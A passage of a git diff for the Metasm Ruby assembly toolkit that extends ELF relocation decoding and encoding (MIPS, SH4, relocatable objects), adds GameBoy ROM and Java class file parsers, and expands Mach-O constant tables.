Symbol.size(self)).times { syms << Symbol.decode(self, strtab) } alreadysegs = true if @header.type == 'DYN' or @header.type == 'EXEC' + alreadysyms = @symbols.inject({}) { |h, s| h.update s.name => true } if alreadysegs syms.each { |s| if alreadysegs # if we already decoded the symbols from the DYNAMIC segment, # ignore dups and imports from this section next if s.shndx == 'UNDEF' - next if @symbols.find { |ss| ss.name == s.name } + next if alreadysyms[s.name] + alreadysyms[s.name] = true end @symbols << s decode_symbol_export(s) @@ -509,10 +544,28 @@ class ELF end end + # returns the target of a relocation using reloc.symbol + # may create new labels if the relocation targets a section + def reloc_target(reloc) + target = 0 + if reloc.symbol.kind_of?(Symbol) + if reloc.symbol.type == 'SECTION' + s = @sections[reloc.symbol.shndx] + if not target = @encoded.inv_export[s.offset] + target = new_label(s.name) + @encoded.add_export(target, s.offset) + end + elsif reloc.symbol.name + target = reloc.symbol.name + end + end + target + end + # returns the Metasm::Relocation that should be applied for reloc # self.encoded.ptr must point to the location that will be relocated (for implicit addends) def arch_decode_segments_reloc_386(reloc) - if reloc.symbol and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and + if reloc.symbol.kind_of?(Symbol) and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and s = @sections.find { |s_| s_.name and s_.offset <= @encoded.ptr and s_.offset + s_.size > @encoded.ptr } @encoded.add_export(new_label("#{s.name}_#{n}"), @encoded.ptr, true) end @@ -541,15 +594,14 @@ class ELF when 'GLOB_DAT', 'JMP_SLOT', '32', 'PC32', 'TLS_TPOFF', 'TLS_TPOFF32' # XXX use versionned version # lazy jmp_slot ? - target = 0 - target = reloc.symbol.name if reloc.symbol.kind_of?(Symbol) and reloc.symbol.name + target = reloc_target(reloc) target = Expression[target, :-, reloc.offset] if reloc.type == 'PC32' target = Expression[target, :+, addend] if addend and addend != 0 target = Expression[target, :+, 'tlsoffset'] if reloc.type == 'TLS_TPOFF' target = Expression[:-, [target, :+, 'tlsoffset']] if reloc.type == 'TLS_TPOFF32' when 'COPY' # mark the address pointed as a copy of the relocation target - if not reloc.symbol or not name = reloc.symbol.name + if not reloc.symbol.kind_of?(Symbol) or not name = reloc.symbol.name puts "W: Elf: symbol to COPY has no name: #{reloc.inspect}" if $VERBOSE name = '' end @@ -567,24 +619,40 @@ class ELF # returns the Metasm::Relocation that should be applied for reloc # self.encoded.ptr must point to the location that will be relocated (for implicit addends) def arch_decode_segments_reloc_mips(reloc) - if reloc.symbol and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and + if reloc.symbol.kind_of?(Symbol) and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and s = @sections.find { |s_| s_.name and s_.offset <= @encoded.ptr and s_.offset + s_.size > @encoded.ptr } @encoded.add_export(new_label("#{s.name}_#{n}"), @encoded.ptr, true) end + original_word = decode_word + # decode addend if needed case reloc.type when 'NONE' # no addend - else addend = reloc.addend || decode_sword + else addend = reloc.addend || Expression.make_signed(original_word, 32) end case reloc.type when 'NONE' when '32', 'REL32' - target = 0 - target = reloc.symbol.name if reloc.symbol.kind_of?(Symbol) and reloc.symbol.name + target = reloc_target(reloc) target = Expression[target, :-, reloc.offset] if reloc.type == 'REL32' target = Expression[target, :+, addend] if addend and addend != 0 + when '26' + target = reloc_target(reloc) + addend &= 0x3ff_ffff + target = Expression[target, :+, [addend, :<<, 2]] if addend and addend != 0 + target = Expression[[original_word, :&, 0xfc0_0000], :|, [[target, :&, 0x3ff_ffff], :>>, 2]] + when 'HI16' + target = reloc_target(reloc) + addend &= 0xffff + target = Expression[target, :+, [addend, :<<, 16]] if addend and addend != 0 + target = Expression[[original_word, :&, 0xffff_0000], :|, [[target, :>>, 16], :&, 0xffff]] + when 'LO16' + target = reloc_target(reloc) + addend &= 0xffff + target = Expression[target, :+, addend] if addend and addend != 0 + target = Expression[[original_word, :&, 0xffff_0000], :|, [target, :&, 0xffff]] else puts "W: Elf: unhandled MIPS reloc #{reloc.inspect}" if $VERBOSE target = nil @@ -596,7 +664,7 @@ class ELF # returns the Metasm::Relocation that should be applied for reloc # self.encoded.ptr must point to the location that will be relocated (for implicit addends) def arch_decode_segments_reloc_x86_64(reloc) - if reloc.symbol and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and + if reloc.symbol.kind_of?(Symbol) and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and s = @sections.find { |s_| s_.name and s_.offset <= @encoded.ptr and s_.offset + s_.size > @encoded.ptr } @encoded.add_export(new_label("#{s.name}_#{n}"), @encoded.ptr, true) end @@ -627,14 +695,13 @@ class ELF when 'GLOB_DAT', 'JMP_SLOT', '64', 'PC64', '32', 'PC32' # XXX use versionned version # lazy jmp_slot ? - target = 0 - target = reloc.symbol.name if reloc.symbol.kind_of?(Symbol) and reloc.symbol.name + target = reloc_target(reloc) target = Expression[target, :-, reloc.offset] if reloc.type == 'PC64' or reloc.type == 'PC32' target = Expression[target, :+, addend] if addend and addend != 0 sz = :u32 if reloc.type == '32' or reloc.type == 'PC32' when 'COPY' # mark the address pointed as a copy of the relocation target - if not reloc.symbol or not name = reloc.symbol.name + if not reloc.symbol.kind_of?(Symbol) or not name = reloc.symbol.name puts "W: Elf: symbol to COPY has no name: #{reloc.inspect}" if $VERBOSE name = '' end @@ -649,6 +716,33 @@ class ELF Metasm::Relocation.new(Expression[target], sz, @endianness) if target end + def arch_decode_segments_reloc_sh(reloc) + if reloc.symbol.kind_of?(Symbol) and n = reloc.symbol.name and reloc.symbol.shndx == 'UNDEF' and @sections and + s = @sections.find { |s_| s_.name and s_.offset <= @encoded.ptr and s_.offset + s_.size > @encoded.ptr } + @encoded.add_export(new_label("#{s.name}_#{n}"), @encoded.ptr, true) + end + + original_word = decode_word + + # decode addend if needed + case reloc.type + when 'NONE' # no addend + else addend = reloc.addend || Expression.make_signed(original_word, 32) + end + + case reloc.type + when 'NONE' + when 'GLOB_DAT', 'JMP_SLOT' + target = reloc_target(reloc) + target = Expression[target, :+, addend] if addend and addend != 0 + else + puts "W: Elf: unhandled SH reloc #{reloc.inspect}" if $VERBOSE + target = nil + end + + Metasm::Relocation.new(Expression[target], :u32, @endianness) if target + end + class DwarfDebug # decode a DWARF2 'compilation unit' def decode(elf, info, abbrev, str) @@ -749,12 +843,13 @@ class ELF end # decodes the ELF dynamic tags, interpret them, and decodes symbols and relocs - def decode_segments_dynamic + def decode_segments_dynamic(decode_relocs=true) return if not dynamic = @segments.find { |s| s.type == 'DYNAMIC' } @encoded.ptr = add_label('dynamic_tags', dynamic.vaddr) decode_tags decode_segments_tags_interpret decode_segments_symbols + return if not decode_relocs decode_segments_relocs decode_segments_relocs_interpret end @@ -783,6 +878,7 @@ class ELF # decodes sections, interprets symbols/relocs, fills sections.encoded def decode_sections + @symbols.clear # the NULL symbol is explicit in the symbol table decode_sections_symbols decode_sections_relocs @sections.each { |s| @@ -804,7 +900,7 @@ class ELF end def decode_exports - decode_segments_dynamic + decode_segments_dynamic(false) end # decodes the elf header, and depending on the elf type, decode segments or sections @@ -819,12 +915,14 @@ class ELF def each_section @segments.each { |s| yield s.encoded, s.vaddr if s.type == 'LOAD' } - return if @header.type != 'REL' + return if @header.type != 'REL' @sections.each { |s| next if not s.encoded - l = new_label(s.name) - s.encoded.add_export l, 0 - yield s.encoded, l + if not l = s.encoded.inv_export[0] or l != s.name.tr('^a-zA-Z0-9_', '_') + l = new_label(s.name) + s.encoded.add_export l, 0 + end + yield s.encoded, l } end @@ -833,9 +931,10 @@ class ELF case @header.machine when 'X86_64'; X86_64.new when '386'; Ia32.new - when 'MIPS'; MIPS.new @endianness + when 'MIPS'; (@header.flags.include?('32BITMODE') ? MIPS64 : MIPS).new @endianness when 'PPC'; PPC.new when 'ARM'; ARM.new + when 'SH'; Sh4.new else raise "unsupported cpu #{@header.machine}" end end @@ -912,6 +1011,13 @@ EOC (d.address_binding[s.value] ||= {})[:$t9] ||= Expression[s.value] } d.function[:default] = @cpu.disassembler_default_func + when 'sh4' + noret = DecodedFunction.new + noret.noreturn = true + %w[__stack_chk_fail abort exit].each { |fn| + d.function[Expression[fn]] = noret + } + d.function[:default] = @cpu.disassembler_default_func end d end diff --git a/lib/metasm/metasm/exe_format/elf_encode.rb b/lib/metasm/metasm/exe_format/elf_encode.rb index 046a9c4a07..cf4e040e40 100644 --- a/lib/metasm/metasm/exe_format/elf_encode.rb +++ b/lib/metasm/metasm/exe_format/elf_encode.rb @@ -47,8 +47,8 @@ class ELF # defines the @name_p field from @name and elf.section[elf.header.shstrndx] # creates .shstrtab if needed def make_name_p elf - return 0 if not name or @name == '' - if elf.header.shstrndx.to_i == 0 + return 0 if not name or @name == '' or elf.header.shnum == 0 + if elf.header.shstrndx.to_i == 0 or not elf.sections[elf.header.shstrndx] sn = Section.new sn.name = '.shstrtab' sn.type = 'STRTAB' @@ -140,6 +140,9 @@ class ELF srank = rank[s] nexts = @sections.find { |sec| rank[sec] > srank } # find section with rank superior nexts = nexts ? @sections.index(nexts) : -1 # if none, last + if @header.shstrndx.to_i != 0 and nexts != -1 and @header.shstrndx >= nexts + @header.shstrndx += 1 + end @sections.insert(nexts, s) # insert section end @@ -196,6 +199,8 @@ class ELF # encodes the symbol dynamic hash table in the .hash section, updates the HASH tag def encode_hash + return if @symbols.length <= 1 + if not hash = @sections.find { |s| s.type == 'HASH' } hash = Section.new hash.name = '.hash' @@ -236,6 +241,8 @@ class ELF # encodes the symbol table # should have a stable self.sections array (only append allowed after this step) def encode_segments_symbols(strtab) + return if @symbols.length <= 1 + if not dynsym = @sections.find { |s| s.type == 'DYNSYM' } dynsym = Section.new dynsym.name = '.dynsym' @@ -261,7 +268,7 @@ class ELF # encodes the relocation tables # needs a complete self.symbols array def encode_segments_relocs - return if not @relocations + return if not @relocations or @relocations.empty? arch_preencode_reloc_func = "arch_#{@header.machine.downcase}_preencode_reloc" send arch_preencode_reloc_func if respond_to? arch_preencode_reloc_func @@ -337,6 +344,8 @@ class ELF # creates the .plt/.got from the @relocations def arch_386_preencode_reloc + return if @relocations.empty? + # if .got.plt does not exist, the dynamic loader segfaults if not gotplt = @sections.find { |s| s.type == 'PROGBITS' and s.name == '.got.plt' } gotplt = Section.new @@ -358,7 +367,7 @@ class ELF when 'PC32' next if not r.symbol - if r.symbol.type != 'FUNC' + if r.symbol.type != 'FUNC' # external data xref: generate a GOT entry # XXX reuse .got.plt ? if not got ||= @sections.find { |s| s.type == 'PROGBITS' and s.name == '.got' } @@ -385,7 +394,7 @@ class ELF else @relocations.delete r end - + # prevoffset is label_section_start + int_section_offset target_s = @sections.find { |s| s.encoded and s.encoded.export[prevoffset.lexpr] == 0 } rel = target_s.encoded.reloc[prevoffset.rexpr] @@ -411,12 +420,12 @@ class ELF # # [.got.plt header] # dd _DYNAMIC - # dd 0 # rewritten to GOTPLT? by ld-linux + # dd 0 # rewritten to GOTPLT? by ld-linux # dd 0 # rewritten to dlresolve_inplace by ld-linux # # [.got.plt + func_got_offset] # dd some_func_got_default # lazily rewritten to the real addr of some_func by jmp dlresolve_inplace - # # base_relocated ? + # # base_relocated ? # in the PIC case, _dlresolve imposes us to use the ebx register (which may not be saved by the calling function..) # also geteip trashes eax, which may interfere with regparm(3) @@ -531,7 +540,7 @@ class ELF # fill these later, but create the base relocs now arch_create_reloc_func = "arch_#{@header.machine.downcase}_create_reloc" - next if not respond_to?(arch_create_reloc_func) + next if not respond_to?(arch_create_reloc_func) curaddr = label_at(@encoded, 0, 'elf_start') fkbind = {} @sections.each { |s| @@ -557,6 +566,9 @@ class ELF encode_check_section_size strtab + # rm unused tag (shrink .nointerp binaries by allowing to skip the section entirely) + @tag.delete('STRTAB') if strtab.encoded.length == 1 + # XXX any order needed ? @tag.keys.each { |k| case k @@ -581,7 +593,7 @@ class ELF encode_tag[k, @tag[k]] end } - encode_tag['NULL', @tag['NULL'] || 0] + encode_tag['NULL', @tag['NULL'] || 0] unless @tag.empty? encode_check_section_size dynamic end @@ -598,17 +610,13 @@ class ELF @sections.each { |s| next if not s.encoded s.encoded.reloc.each_value { |r| - t = Expression[r.target.reduce] - if t.op == :+ and t.rexpr.kind_of? Expression and t.rexpr.op == :- and not t.rexpr.lexpr and - t.rexpr.rexpr.kind_of?(::String) and t.lexpr.kind_of?(::String) - symname = t.lexpr - else - symname = t.reduce_rec - end - next if not dll = autoexports[symname] + et = r.target.externals + extern = et.find_all { |name| autoexports[name] } + next if extern.length != 1 + symname = extern.first if not @symbols.find { |sym| sym.name == symname } @tag['NEEDED'] ||= [] - @tag['NEEDED'] |= [dll] + @tag['NEEDED'] |= [autoexports[symname]] sym = Symbol.new sym.shndx = 'UNDEF' sym.type = 'FUNC' @@ -737,6 +745,55 @@ class ELF @relocations << r end + def arch_mips_create_reloc(section, off, binding, rel=nil) + rel ||= section.encoded.reloc[off] + startaddr = label_at(@encoded, 0) + r = Relocation.new + r.offset = Expression[label_at(section.encoded, 0, 'sect_start'), :+, off] + if Expression[rel.target, :-, startaddr].bind(binding).reduce.kind_of?(::Integer) + # this location is relative to the base load address of the ELF + r.type = 'REL32' + else + et = rel.target.externals + extern = et.find_all { |name| not binding[name] } + if extern.length != 1 + puts "ELF: mips_create_reloc: ignoring reloc #{rel.target} in #{section.name}: #{extern.inspect} unknown" if $VERBOSE + return + end + if not sym = @symbols.find { |s| s.name == extern.first } + puts "ELF: mips_create_reloc: ignoring reloc #{rel.target} in #{section.name}: undefined symbol #{extern.first}" if $VERBOSE + return + end + r.symbol = sym + if Expression[rel.target, :-, sym.name].bind(binding).reduce.kind_of?(::Integer) + rel.target = Expression[rel.target, :-, sym.name] + r.type = '32' + elsif Expression[rel.target, :&, 0xffff0000].reduce.kind_of?(::Integer) + lo = Expression[rel.target, :&, 0xffff].reduce + lo = lo.lexpr if lo.kind_of?(Expression) and lo.op == :& and lo.rexpr == 0xffff + if lo.kind_of?(Expression) and lo.op == :>> and lo.rexpr == 16 + r.type = 'HI16' + rel.target = Expression[rel.target, :&, 0xffff0000] + # XXX offset ? + elsif lo.kind_of?(String) or (lo.kind_of(Expression) and lo.op == :+) + r.type = 'LO16' + rel.target = Expression[rel.target, :&, 0xffff0000] + # XXX offset ? + else + puts "ELF: mips_create_reloc: ignoring reloc #{lo}: cannot find matching 16 reloc type" if $VERBOSE + return + end + #elsif Expression[rel.target, :+, label_at(section.encoded, 0)].bind(section.encoded.binding).reduce.kind_of? ::Integer + # rel.target = Expression[[rel.target, :+, label_at(section.encoded, 0)], :+, off] + # r.type = 'PC32' + else + puts "ELF: mips_create_reloc: ignoring reloc #{sym.name} + #{rel.target}: cannot find matching standard reloc type" if $VERBOSE + return + end + end + @relocations << r + end + # resets the fields of the elf headers that should be recalculated, eg phdr offset def invalidate_header @header.shoff = @header.shnum = nil @@ -817,9 +874,13 @@ class ELF end if @header.type == 'REL' - raise 'ET_REL encoding not supported atm, come back later' + encode_rel + else + encode_elf end + end + def encode_elf @encoded = EncodedData.new if @header.type != 'EXEC' or @segments.find { |i| i.type == 'INTERP' } # create a .dynamic section unless we are an ET_EXEC with .nointerp @@ -870,7 +931,7 @@ class ELF end # add dynamic segment - if ds = @sections.find { |sec| sec.type == 'DYNAMIC' } + if ds = @sections.find { |sec| sec.type == 'DYNAMIC' } and ds.encoded.length > 1 ds.set_default_values self seg = Segment.new seg.type = 'DYNAMIC' @@ -979,6 +1040,36 @@ class ELF @encoded.data end + def encode_rel + @encoded = EncodedData.new + automagic_symbols + create_relocations + + @header.phoff = @header.phnum = @header.phentsize = 0 + @header.entry = 0 + @sections.each { |sec| sec.addr = 0 } + st = @sections.inject(EncodedData.new) { |edata, sec| edata << sec.encode(self) } + + binding = {} + @encoded << @header.encode(self) + @encoded.align 8 + + binding[@header.shoff] = @encoded.length + @encoded << st + @encoded.align 8 + + @sections.each { |sec| + next if not sec.encoded + binding[sec.offset] = @encoded.length + sec.encoded.fixup sec.encoded.binding + @encoded << sec.encoded + @encoded.align 8 + } + + @encoded.fixup! binding + @encoded.data + end + def parse_init # allow the user to specify a section, falls back to .text if none specified if not defined? @cursource or not @cursource diff --git a/lib/metasm/metasm/exe_format/gb.rb b/lib/metasm/metasm/exe_format/gb.rb new file mode 100644 index 0000000000..eef20c4eb1 --- /dev/null +++ b/lib/metasm/metasm/exe_format/gb.rb @@ -0,0 +1,64 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + + +require 'metasm/exe_format/main' +require 'metasm/encode' +require 'metasm/decode' + + +module Metasm +# GameBoy ROM file format +class GameBoyRom < ExeFormat + class Header < SerialStruct + # starts at 0x104 in the file + mem :logo, 0x30 + str :title, 0x10 + byte :sgb_flag + byte :cartridge_type + byte :rom_size # n => (n+1) * 32k bytes + byte :ram_size + byte :destination_code + byte :old_licensee_code + byte :mask_rom_version + byte :header_checksum + byte :checksum_hi + byte :checksum_lo + end + + def encode_byte(val) Expression[val].encode(:u8, @endianness) end + def decode_byte(edata = @encoded) edata.decode_imm(:u8, @endianness) end + + + attr_accessor :header + + def initialize(cpu=nil) + @endianness = (cpu ? cpu.endianness : :little) + super(cpu) + end + + def decode_header + @encoded.ptr = 0x104 + @header = Header.decode(self) + end + + def decode + decode_header + @encoded.add_export('entrypoint', 0x100) + end + + def cpu_from_headers + Z80.new('gb') + end + + def each_section + yield @encoded, 0 + end + + def get_default_entrypoints + ['entrypoint'] + end +end +end diff --git a/lib/metasm/metasm/exe_format/javaclass.rb b/lib/metasm/metasm/exe_format/javaclass.rb new file mode 100644 index 0000000000..e5330057d0 --- /dev/null +++ b/lib/metasm/metasm/exe_format/javaclass.rb @@ -0,0 +1,421 @@ +# This file is part of Metasm, the Ruby assembly manipulation suite +# Copyright (C) 2006-2009 Yoann GUILLOT +# +# Licence is LGPL, see LICENCE in the top-level directory + +require 'metasm/exe_format/main' +require 'metasm/encode' +require 'metasm/decode' + +module Metasm + +class JavaClass < ExeFormat + MAGIC = "\xCA\xFE\xBA\xBE" + + CONSTANT_TAG = {0x1 => 'Utf8', 0x3 => 'Integer', + 0x4 => 'Float', 0x5 => 'Long', + 0x6 => 'Double', 0x7 => 'Class', + 0x8 => 'String', 0x9 => 'Fieldref', + 0xa => 'Methodref', 0xb => 'InterfaceMethodref', + 0xc => 'NameAndType' } + + class SerialStruct < Metasm::SerialStruct + new_int_field :u1, :u2, :u4 + end + + class Header < SerialStruct + mem :magic, 4, MAGIC + u2 :minor_version + u2 :major_version + end + + class ConstantPool < SerialStruct + u2 :constant_pool_count + attr_accessor :constant_pool + + def decode(c) + super(c) + + @constant_pool = [nil] + + i = 1 + while i < @constant_pool_count + entry = ConstantPoolInfo.decode(c) + entry.idx = i + @constant_pool << entry + i += 1 + + if entry.tag =~ /Long|Double/ + # we must insert a phantom cell + # for long and double constants + @constant_pool << nil + i += 1 + end + end + end + + def encode(c) + cp = super(c) + + @constant_pool.each { |entry| + next if entry.nil? + cp << entry.encode(c) + } + cp + end + + def [](idx) + @constant_pool[idx] + end + + def []=(idx, val) + raise 'cannot be used to add a cp entry' if @constant_pool[idx].nil? + @constant_pool[idx] = val + end + end + + class ConstantPoolInfo < SerialStruct + u1 :tag + fld_enum :tag, CONSTANT_TAG + attr_accessor :info, :idx + + def decode(c) + super(c) + + case @tag + when 'Utf8' + @info = ConstantUtf8.decode(c) + when /Integer|Float/ + @info = ConstantIntFloat.decode(c) + when /Long|Double/ + @info = ConstantLongDouble.decode(c) + when /Class|String/ + @info = ConstantIndex.decode(c) + when /ref$/ + @info = ConstantRef.decode(c) + when 'NameAndType' + @info = ConstantNameAndType.decode(c) + else + raise 'unkown constant tag' + return + end + end + + def encode(c) + super(c) << @info.encode(c) + end + end + + class ConstantUtf8 < SerialStruct + u2 :length + attr_accessor :bytes + + def decode(c) + super(c) + @bytes = c.encoded.read(@length) + end + + def encode(c) + super(c) << @bytes + end + end + + class ConstantIntFloat < SerialStruct + u4 :bytes + end + + class ConstantLongDouble < SerialStruct + u4 :high_bytes + u4 :low_bytes + end + + class ConstantIndex < SerialStruct + u2 :index + end + + class ConstantRef < SerialStruct + u2 :class_index + u2 :name_and_type_index + end + + class ConstantNameAndType < SerialStruct + u2 :name_index + u2 :descriptor_index + end + + class ClassInfo < SerialStruct + u2 :access_flags + u2 :this_class + u2 :super_class + end + + class Interfaces < SerialStruct + u2 :interfaces_count + attr_accessor :interfaces + + def decode(c) + super(c) + + @interfaces = [] + @interfaces_count.times { + @interfaces << ConstantIndex.decode(c) + } + end + + def encode(c) + ret = super(c) + + @interfaces.each { |e| + ret << e.encode(c) + } + ret + end + + def [](idx) + @interfaces[idx] + end + end + + class Fields < SerialStruct + u2 :fields_count + attr_accessor :fields + + def decode(c) + super(c) + @fields = [] + @fields_count.times { + @fields << FieldMethodInfo.decode(c) + } + end + + def encode(c) + ret = super(c) + + @fields.each { |e| + ret << e.encode(c) + } + ret + end + + def [](idx) + @fields[idx] + end + end + + class Methods < SerialStruct + u2 :methods_count + attr_accessor :methods + + def decode(c) + super(c) + @methods = [] + @methods_count.times { + @methods << FieldMethodInfo.decode(c) + } + end + + def encode(c) + ret = super(c) + + @methods.each { |e| + ret << e.encode(c) + } + ret + end + + def [](idx) + @methods[idx] + end + end + + class FieldMethodInfo < SerialStruct + u2 :access_flags + u2 :name_index + u2 :descriptor_index + attr_accessor :attributes + + def decode(c) + super(c) + @attributes = Attributes.decode(c) + end + + def encode(c) + super(c) << @attributes.encode(c) + end + end + + class Attributes < SerialStruct + u2 :attributes_count + attr_accessor :attributes + + def decode(c) + super(c) + + @attributes = [] + @attributes_count.times { |i| + @attributes << AttributeInfo.decode(c) + } + end + + def encode(c) + ret = super(c) + + @attributes.each { |e| + ret << e.encode(c) + } + ret + end + + def [](idx) + @attributes[idx] + end + end + + class AttributeInfo < SerialStruct + u2 :attribute_name_index + u4 :attribute_length + attr_accessor :data + + def decode(c) + super(c) + @data = c.encoded.read(@attribute_length) + end + + def encode(c) + super(c) << @data + end + end + + def encode_u1(val) Expression[val].encode(:u8, @endianness) end + def encode_u2(val) Expression[val].encode(:u16, @endianness) end + def encode_u4(val) Expression[val].encode(:u32, @endianness) end + def decode_u1(edata = @encoded) edata.decode_imm(:u8, @endianness) end + def decode_u2(edata = @encoded) edata.decode_imm(:u16, @endianness) end + def decode_u4(edata = @encoded) edata.decode_imm(:u32, @endianness) end + + attr_accessor :header, :constant_pool, :class_info, :interfaces, :fields, :methods, :attributes + + def initialize(endianness=:big) + @endianness = endianness + @encoded = EncodedData.new + super() + end + + def decode + @header = Header.decode(self) + @constant_pool = ConstantPool.decode(self) + @class_info = ClassInfo.decode(self) + @interfaces = Interfaces.decode(self) + @fields = Fields.decode(self) + @methods = Methods.decode(self) + @attributes = Attributes.decode(self) + end + + def encode + @encoded = EncodedData.new + @encoded << @header.encode(self) + @encoded << @constant_pool.encode(self) + @encoded << @class_info.encode(self) + @encoded << @interfaces.encode(self) + @encoded << @fields.encode(self) + @encoded << @methods.encode(self) + @encoded << @attributes.encode(self) + @encoded.data + end + + def cpu_from_headers + raise 'JVM' + end + + def each_section + raise 'n/a' + end + + def get_default_entrypoints + [] + end + + def string_at(idx) + loop do + tmp = @constant_pool[idx].info + return tmp.bytes if tmp.kind_of? ConstantUtf8 + idx = tmp.index + end + end + + def decode_methodref(mref) + class_idx = mref.info.class_index + nt_idx = mref.info.name_and_type_index + name_idx = @constant_pool[nt_idx].info.name_index + desc_idx = @constant_pool[nt_idx].info.descriptor_index + + string_at(class_idx) + '/' + string_at(name_idx) + string_at(desc_idx) + end + + def cp_add(cpi, tag) + cpe = ConstantPoolInfo.new + cpe.tag = tag + cpe.info = cpi + cpe.idx = @constant_pool.constant_pool_count + + @constant_pool.constant_pool << cpe + @constant_pool.constant_pool_count += 1 + @constant_pool.constant_pool_count += 1 if tag =~ /Long|Double/ + + cpe.idx + end + + def cp_find(tag) + constant_pool.constant_pool.each { |e| + next if !e or e.tag != tag + if yield(e.info) + return e.idx + end + } + nil + end + + + def cp_auto_utf8(string) + if idx = cp_find('Utf8') { |i| i.bytes == string } + return idx + end + + cpi = ConstantUtf8.new + cpi.bytes = string + cpi.length = string.length + cp_add(cpi, 'Utf8') + end + + def cp_auto_class(classname) + if idx = cp_find('Class') { |i| string_at(i.index) == classname } + return idx + end + + cpi = ConstantIndex.new + cpi.index = cp_auto_utf8(classname) + cp_add(cpi, 'Class') + end + + def cp_add_methodref(classname, name, descriptor) + nat = ConstantNameAndType.new + nat.name_index = cp_auto_utf8(name) + nat.descriptor_index = cp_auto_utf8(descriptor) + natidx = cp_add(nat, 'NameAndType') + + cpi = ConstantRef.new + cpi.class_index = cp_auto_class(classname) + cpi.name_and_type_index = natidx + + cp_add(cpi, 'Methodref') + end + + def attribute_create(name, data) + a = AttributeInfo.new + a.attribute_name_index = cp_auto_utf8(name) + a.attribute_length = data.size + a.data = data + a + end +end +end diff --git a/lib/metasm/metasm/exe_format/macho.rb b/lib/metasm/metasm/exe_format/macho.rb index a8c830d98e..da4926c60d 100644 --- a/lib/metasm/metasm/exe_format/macho.rb +++ b/lib/metasm/metasm/exe_format/macho.rb @@ -17,6 +17,9 @@ class MachO < ExeFormat MAGICS = [MAGIC, CIGAM, MAGIC64, CIGAM64] + # "a" != "a" lolz! + MAGICS.each { |s| s.force_encoding('BINARY') } if MAGIC.respond_to?(:force_encoding) + CPU = { 1 => 'VAX', 2 => 'ROMP', 4 => 'NS32032', 5 => 'NS32332', @@ -44,7 +47,7 @@ class MachO < ExeFormat 3 => 'MMAX_APC_FPU', 4 => 'MMAX_APC_FPA', 5 => 'MMAX_XPC', }, 'I386' => { 3 => 'ALL', 4 => '486', 4+128 => '486SX', - 0 => 'INTEL_MODEL_ALL', 10 => 'PENTIUM_4', + 0 => 'INTEL_MODEL_ALL', 10 => 'PENTIUM_4', 5 => 'PENT', 0x16 => 'PENTPRO', 0x36 => 'PENTII_M3', 0x56 => 'PENTII_M5', }, 'MIPS' => { 0 => 'ALL', 1 => 'R2300', 2 => 'R2600', 3 => 'R2800', 4 => 'R2000a', }, @@ -52,6 +55,7 @@ class MachO < ExeFormat 'HPPA' => { 0 => 'ALL', 1 => '7100LC', }, 'ARM' => { 0 => 'ALL', 1 => 'A500_ARCH', 2 => 'A500', 3 => 'A440', 4 => 'M4', 5 => 'A680', 6 => 'ARMV6', 9 => 'ARMV7', + 11 => 'ARMV7S', }, 'MC88000' => { 0 => 'ALL', 1 => 'MC88100', 2 => 'MC88110', }, :wtf => { 0 => 'MC98000_ALL', 1 => 'MC98601', }, @@ -82,7 +86,7 @@ class MachO < ExeFormat 0x10 => 'PREBOUND', 0x20 => 'SPLIT_SEGS', 0x40 => 'LAZY_INIT', 0x80 => 'TWOLEVEL', 0x100 => 'FORCE_FLAT', 0x200 => 'NOMULTIDEFS', 0x400 => 'NOFIXPREBINDING', 0x800 => 'PREBINDABLE', 0x1000 => 'ALLMODSBOUND', 0x2000 => 'SUBSECTIONS_VIA_SYMBOLS', 0x4000 => 'CANONICAL', 0x8000 => 'WEAK_DEFINES', - 0x10000 => 'BINDS_TO_WEAK', 0x20000 => 'ALLOW_STACK_EXECUTION', + 0x10000 => 'BINDS_TO_WEAK', 0x20000 => 'ALLOW_STACK_EXECUTION', 0x200000 => 'MH_PIE', } SEG_PROT = { 1 => 'READ', 2 => 'WRITE', 4 => 'EXECUTE' } @@ -96,12 +100,13 @@ class MachO < ExeFormat 0x15 => 'SUB_LIBRARY', 0x16 => 'TWOLEVEL_HINTS', 0x17 => 'PREBIND_CKSUM', 0x8000_0018 => 'LOAD_WEAK_DYLIB', 0x19 => 'SEGMENT_64', 0x1a => 'ROUTINES_64', 0x1b => 'UUID', 0x8000_001c => 'RPATH', 0x1d => 'CODE_SIGNATURE_PTR', 0x1e => 'CODE_SEGMENT_SPLIT_INFO', + 0x21 => 'ENCRYPTION_INFO', 0x8000_001f => 'REEXPORT_DYLIB', #0x8000_0000 => 'REQ_DYLD', } THREAD_FLAVOR = { - 'POWERPC' => { + 'POWERPC' => { 1 => 'THREAD_STATE', 2 => 'FLOAT_STATE', 3 => 'EXCEPTION_STATE', @@ -126,6 +131,15 @@ class MachO < ExeFormat SYM_SCOPE = { 0 => 'LOCAL', 1 => 'GLOBAL' } SYM_TYPE = { 0 => 'UNDF', 2/2 => 'ABS', 0xa/2 => 'INDR', 0xe/2 => 'SECT', 0x1e/2 => 'TYPE' } SYM_STAB = { } + IND_SYM_IDX = { 0x4000_0000 => 'INDIRECT_SYMBOL_ABS', 0x8000_0000 => 'INDIRECT_SYMBOL_LOCAL' } + + GENERIC_RELOC = { 0 => 'VANILLA', 1 => 'PAIR', 2 => 'SECTDIFF', 3 => 'LOCAL_SECTDIFF', 4 => 'PB_LA_PTR' } + + SEC_TYPE = { + 0 => 'REGULAR', 1 => 'ZEROFILL', 2 => 'CSTRING_LITERALS', 3 => '4BYTE_LITERALS', + 4 => '8BYTE_LITERALS', 5 => 'LITERAL_POINTERS', 6 => 'NON_LAZY_SYMBOL_POINTERS', + 7 => 'LAZY_SYMBOL_POINTERS', 8 => 'SYMBOL_STUBS', 9 => 'MOD_INIT_FUNC_POINTERS' + } class SerialStruct < Metasm::SerialStruct new_int_field :xword @@ -180,7 +194,7 @@ class MachO < ExeFormat def decode(m) super(m) ptr = m.encoded.ptr - if @cmd.kind_of? String and self.class.constants.map { |c| c.to_s }.include? @cmd + if @cmd.kind_of?(String) and self.class.constants.map { |c| c.to_s }.include?(@cmd) @data = self.class.const_get(@cmd).decode(m) end m.encoded.ptr = ptr + @cmdsize - 8 @@ -193,7 +207,7 @@ class MachO < ExeFormat end def 